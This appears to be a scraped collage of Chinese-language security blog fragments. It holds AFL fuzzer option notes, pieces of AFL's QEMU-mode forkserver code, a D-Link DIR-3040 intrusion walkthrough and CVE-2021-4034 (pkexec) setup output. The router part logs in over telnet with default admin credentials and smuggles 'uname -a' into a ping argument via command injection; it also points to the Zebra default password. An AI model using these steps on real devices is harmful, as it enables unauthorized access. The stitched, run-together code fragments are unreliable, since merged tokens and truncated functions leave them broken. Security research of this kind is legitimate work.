-i dir - input directory with test cases -o dir - output directory for fuzzer findings
Execution control settings:
-f file - location read by the fuzzed program (stdin) -t msec - timeout for each run (auto-scaled, 50-1000 ms) -m megs - memory limit for child process (50 MB) -Q - use binary-only instrumentation (QEMU mode) -U - use Unicorn-based instrumentation (Unicorn mode)
Fuzzing behavior settings:
-d - quick & dirty mode (skips deterministic steps) -n - fuzz without instrumentation (dumb mode) -x dir - optional fuzzer dictionary (see README)
Other stuff:
-T text - text banner to show on the screen -M / -S id - distributed mode (see parallel_fuzzing.txt) -C - crash exploration mode (the peruvian rabbit thing)
For additional tips, please consult /usr/local/share/doc/afl/README.
必须的参数:
-i:输入文件夹路径,里面有基本的测试样例
-o:afl 的输出文件夹路径
额外控制选项:
-f:被 fuzz 的程序从何处读取输入,默认是从 stdin 中读取
-t:每一轮模糊测试的超时时间
-m:fuzz fork 出来的子进程的内存限制
-Q:Qemu 模式启动,可以用来 fuzz 其他架构的程序
-u:unicorn 模式,没有怎么用过
fuzz 行为设定:
-d:quick & dirty 模式,没有使用过
-n:dumb mode,同样没有使用过
-x dir:额外的 fuzzer 目录,没有使用过
其他的设定:
t:banner 的设定
-M:分布式相关的设定,或者说是并行 fuzz
-C:crash 探索模式
这些命令参数的使用目前自己也还不大熟练,对于命令参数的解析在 afl-fuzz.c 的 main 函数中的第一个循环内,如下,可以看出参数的设定并不止帮助提示中的那些:
default: FATAL("Unsupported suffix or bad syntax for -m");
}
if (mem_limit < 5) FATAL("Dangerously low value of -m");
if (sizeof(rlim_t) == 4 && mem_limit > 2000) FATAL("Value of -m out of range on 32-bit systems");
}
break; case'b': { /* bind CPU core */
if (cpu_to_bind_given) FATAL("Multiple -b options not supported"); cpu_to_bind_given = 1;
if (sscanf(optarg, "%u", &cpu_to_bind) < 1 || optarg[0] == '-') FATAL("Bad syntax used for -b");
break;
}
case'd': /* skip deterministic */
if (skip_deterministic) FATAL("Multiple -d options not supported"); skip_deterministic = 1; use_splicing = 1; break;
case'B': /* load bitmap */
/* This is a secret undocumented option! It is useful if you find an interesting test case during a normal fuzzing process, and want to mutate it without rediscovering any of the test cases already found during an earlier run. To use this mode, you need to point -B to the fuzz_bitmap produced by an earlier run for the exact same binary... and that's it. I only used this once or twice to get variants of a particular file, so I'm not making this an official setting. */
if (in_bitmap) FATAL("Multiple -B options not supported");
/* Fork server logic, invoked once we hit _start. */ // forkserver,会在程序的_start入口处激活一次 staticvoidafl_forkserver(CPUState *cpu) {
staticunsignedchar tmp[4];
if (!afl_area_ptr) return;
/* Tell the parent that we're alive. If the parent doesn't want to talk, assume that we're not running in forkserver mode. */ // 通过状态管道向afl-fuzz主进程说明,forkserver已经启动 // 如果写入失败,默认没有使用forkserver模式,return结束 if (write(FORKSRV_FD + 1, tmp, 4) != 4) return; // 获取自身的进程号 afl_forksrv_pid = getpid();
/* All right, let's await orders... */ // forkserver的主循环,也是在这个地方一直执行目标程序 while (1) {
/* Establish a channel with child to grab translation commands. We'll read from t_fd[0], child will write to TSL_FD. */
if (pipe(t_fd) || dup2(t_fd[1], TSL_FD) < 0) exit(3); close(t_fd[1]);
child_pid = fork(); if (child_pid < 0) exit(4); // 进入子进程, if (!child_pid) {
/* Child process. Close descriptors and run free. */ // 关闭无关的管道描述符 afl_fork_child = 1; close(FORKSRV_FD); close(FORKSRV_FD + 1); close(t_fd[0]); return;
} // 进入forkserver进程 /* Parent. */
close(TSL_FD);
if (write(FORKSRV_FD + 1, &child_pid, 4) != 4) exit(5);
/* Collect translation requests until child dies and closes the pipe. */
afl_wait_tsl(cpu, t_fd[0]);
/* Get and relay exit status to parent. */ // 获取目标程序进程的结束信息,并通过状态管道写回到afl-fuzz主进程中 if (waitpid(child_pid, &status, 0) < 0) exit(6); if (write(FORKSRV_FD + 1, &status, 4) != 4) exit(7);
/* Set up SHM region and initialize other stuff. */ // 设置共享内存和相关初始化 staticvoidafl_setup(void) { // 从环境变量SHM_ENV_VAR中获取共享内存ID char *id_str = getenv(SHM_ENV_VAR), *inst_r = getenv("AFL_INST_RATIO");
/* With AFL_INST_RATIO set to a low value, we want to touch the bitmap so that the parent doesn't give up on us. */
if (inst_r) afl_area_ptr[0] = 1;
}
if (getenv("AFL_INST_LIBS")) {
afl_start_code = 0; afl_end_code = (abi_ulong)-1;
}
/* pthread_atfork() seems somewhat broken in util/rcu.c, and I'm not entirely sure what is the cause. This disables that behaviour, and seems to work alright? */ // 线程安全相关? rcu_disable_atfork();
@@ -365,6 +369,7 @@ if (!tb) { /* if no translated code available, then translate it now */ tb = tb_gen_code(cpu, pc, cs_base, flags, 0); + AFL_QEMU_CPU_SNIPPET1; }
1 2 3
#define AFL_QEMU_CPU_SNIPPET1 do { \ afl_request_tsl(pc, cs_base, flags); \ } while (0)
/* This code is invoked whenever QEMU decides that it doesn't have a translation of a particular block and needs to compute it. When this happens, we tell the parent to mirror the operation, so that the next fork() has a cached copy. */ // 此代码只有当qemu翻译一个新的基本块tb时才会执行,并会将其加入到forkserver中,使得下一次fork目标程序进程有cache备份 staticvoidafl_request_tsl(target_ulong pc, target_ulong cb, uint64_t flags) {
/* This is the other side of the same channel. Since timeouts are handled by afl-fuzz simply killing the child, we can just wait until the pipe breaks. */
staticvoidafl_wait_tsl(CPUState *cpu, int fd) {
structafl_tslt; TranslationBlock *tb;
while (1) {
/* Broken pipe means it's time to return to the fork server routine. */ // 循环接受来自fork出来的子进程的基本块翻译请求 if (read(fd, &t, sizeof(struct afl_tsl)) != sizeof(struct afl_tsl)) break; // 从forkserver的基本块缓存中搜索fork出来的目标进程的基本块 tb = tb_htable_lookup(cpu, t.pc, t.cs_base, t.flags); // 如果forkserver的基本块缓存中没有搜索到,则翻译基本块并加入到forkserver的缓存中 if(!tb) { mmap_lock(); tb_lock(); tb_gen_code(cpu, t.pc, t.cs_base, t.flags, 0); mmap_unlock(); tb_unlock(); }
The code in this directory allows you to build a standalone feature that leverages the QEMU “user emulation” mode and allows callers to obtain instrumentation output for black-box, closed-source binaries. This mechanism can be then used by afl-fuzz to stress-test targets that couldn’t be built with afl-gcc.
The usual performance cost is 2-5x, which is considerably better than seen so far in experiments with tools such as DynamoRIO and PIN.
The idea and much of the implementation comes from Andrew Griffiths.
#!/bin/sh # # Copyright 2015 Google LLC All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at: # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ----------------------------------------- # american fuzzy lop - QEMU build script # -------------------------------------- # # Written by Andrew Griffiths <agriffiths@google.com> and # Michal Zalewski <lcamtuf@google.com> # # This script downloads, patches, and builds a version of QEMU with # minor tweaks to allow non-instrumented binaries to be run under # afl-fuzz. # # The modifications reside in patches/*. The standalone QEMU binary # will be written to ../afl-qemu-trace. #
echo "[+] Patching done." # --enable-pie seems to give a couple of exec's a second performance # improvement, much to my surprise. Not sure how universal this is..
/* A snippet patched into tb_find_slow to inform the parent process that we have hit a new block that hasn't been translated yet, and to tell it to translate within its own context, too (this avoids translation overhead in the next forked-off copy). */
#define AFL_QEMU_CPU_SNIPPET1 do { \ afl_request_tsl(pc, cs_base, flags); \ } while (0)
/* This snippet kicks in when the instruction pointer is positioned at _start and does the usual forkserver stuff, not very different from regular instrumentation injected via afl-as.h. */
Starting Nmap 7.60 ( https://nmap.org ) at 2021-07-22 23:44 PDT Nmap scan report for XXX.XXX.com (X.X.X.X) Host is up (0.28s latency). Not shown: 995 filtered ports PORT STATE SERVICE 23/tcp open telnet 53/tcp open domain 80/tcp open http 443/tcp open https 2602/tcp open ripd
# oneshell @ LAPTOP-M8H23J7M in ~ [14:54:22] C:1 $ telnet X.X.X.X Trying X.X.X.X... Connected to X.X.X.X. Escape character is '^]'. D-Link login: admin Password: libcli test environment router> help
Commands available: help Show available commands quit Disconnect history Show a list of previously run commands protest protest cmd iwpriv iwpriv cmd ifconfig ifconfig cmd iwconfig iwconfig cmd reboot reboot cmd brctl brctl cmd ated ated cmd ping ping cmd router> ping -c 1 8.8.8.8.;uname -a ping: bad address '8.8.8.8.' Linux D-Link 3.10.14+ #1 SMP Fri Aug 14 18:42:10 CST 2020 mips GNU/Linux
这个漏洞是Zebra服务使用了默认密码zebra。Zebra 是一个 IP 路由管理器,可提供内核路由表更新、接口查找以及不同路由协议之间路由的重新分配。DIR-3040 默认在TCP端口2601上运行此服务,任何人都可以访问。漏洞披露者的分析应该是建立在通过UART等方式或者手中还有RCE漏洞获取shell查看到的,此处分析不了就直接进行后验证,直接通过前面的命令注入漏洞查看配置文件/tmp/zebra.conf
# kali @ kali in ~/CVEs/CVE-2021-4034 [1:26:04] $ pkexec --version pkexec version 0.105 # kali @ kali in ~/CVEs/CVE-2021-4034 [1:26:54] C:1 $ dpkg -S pkexec
1 2 3 4 5 6 7 8 9 10 11
# kali @ kali in ~/CVEs/CVE-2021-4034 [1:29:34] $ tree -L 1 . ├── debug ├── payload ├── policykit-1_0.105-31+kali1.debian.tar.xz ├── policykit-1_0.105-31+kali1.dsc ├── policykit-1_0.105.orig.tar.gz └── polkit-0.105